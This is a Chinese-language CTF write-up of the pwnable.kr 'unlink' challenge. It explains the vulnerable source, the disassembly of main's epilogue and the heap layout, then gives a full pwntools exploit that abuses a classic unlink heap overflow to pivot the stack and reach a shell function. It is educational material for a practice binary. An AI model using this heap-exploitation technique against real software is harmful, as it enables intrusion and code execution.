Chunk等相关理论可参考https://blog.csdn.net/donghanhang/article/details/51777390
首先给出地址ssh unlink@pwnable.kr -p2222 (pw: guest)
进入后看到unlink``unlink.c
和flag
文件
通过file unlink
我们得知这是一个32bit的elf文件
我们先来看一下源代码unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
这里很明显,用tagOBJ模拟堆分配,从题面可知,这是有关Unlink的。
在函数Unlink
中,做了两件事
- (B->fd)->bk=B->bk
- (B->bk)->fd=B->fd
第一件事情相当于
*(*(B+4))=*B
第二件事情相当于
*((*B)+4)=*(B+4)
因为我们构造堆,只能向后溢出,所以,在第二件事情中,可以造成任意地址读写(当然,这只是古典Unlink才会发生的事情,现代的unlink有链完整性的判断,虽然也存在利用空间)
我们
objdump -S unlink
可以看到ABC三个变量在栈上的地址分别为
&A: -0x14(%ebp)
&B: -0xc(%ebp)
&C: -0x10(%ebp)
我们看到在main函数的最后,有这样一段
80485ff: 8b 4d fc mov -0x4(%ebp),%ecx
8048602: c9 leave
8048603: 8d 61 fc lea -0x4(%ecx),%esp
8048606: c3 ret
- 这里直接将
ecx-4
的值赋值给esp,然后ret相当于将eip导向为esp的值。这里可以控制函数的执行流。我们看到ecx的值是由ebp-4
上的值赋值的。 - 我们考虑,如果能在
ebp-4
上写入shellcode的地址+4
(为什么要+4?因为后面复制给esp的时候,ecx又-4,我们在这里给他补上偏移),那么就能控制eip了。 - 前面我们又看到unlink中可以写入地址。我们考虑,
通过泄露的A的栈地址+0x10就可以获得ebp-4的地址
通过泄露的A的堆地址+0xC就可以获得偏移过的(shellcode addr+4)目标地址
+-----------------------------+<---------+Heap addr A
|FK |BK |
+------------------------------<---------+A->buf
|shellcode addr|AAAA |
|AAAA |AAAA |
+------------------------------<---------+Heap addr B
|heap+0xC |stack+0x10 |
| | |
+--------------+--------------+
exp
from pwn import *
e = process('./unlink')
shell_addr = 0x80484eb
e.recvuntil('here is stack address leak: ')
stack_addr = e.recv(10)
e.recvuntil('here is heap address leak: ')
heap_addr = e.recv(9)
stack_addr = int(stack_addr, 16)
heap_addr = int(heap_addr, 16)
target_addr = stack_addr + 0x10
payload = p32(shell_addr)
payload += 'A' * 12
payload += p32(heap_addr + 12)
payload += p32(target_addr)
e.sendline(payload)
e.interactive()